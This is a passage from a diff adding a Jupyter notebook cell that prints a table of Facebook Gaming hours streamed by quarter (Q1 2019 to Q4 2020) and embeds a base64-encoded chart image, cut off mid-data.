+ "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook Gaming hours streamed by quarter" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Quarter Hours streamed(millions)\n", + "0 Q1 2019 2\n", + "1 Q2 2019 2\n", + "2 Q3 2019 3\n", + "3 Q4 2019 4\n", + "4 Q1 2020 5\n", + "5 Q2 2020 6\n", + "6 Q3 2020 8\n", + "7 Q4 2020 15\n" + ] + }, + { + "data": { + "image/png": "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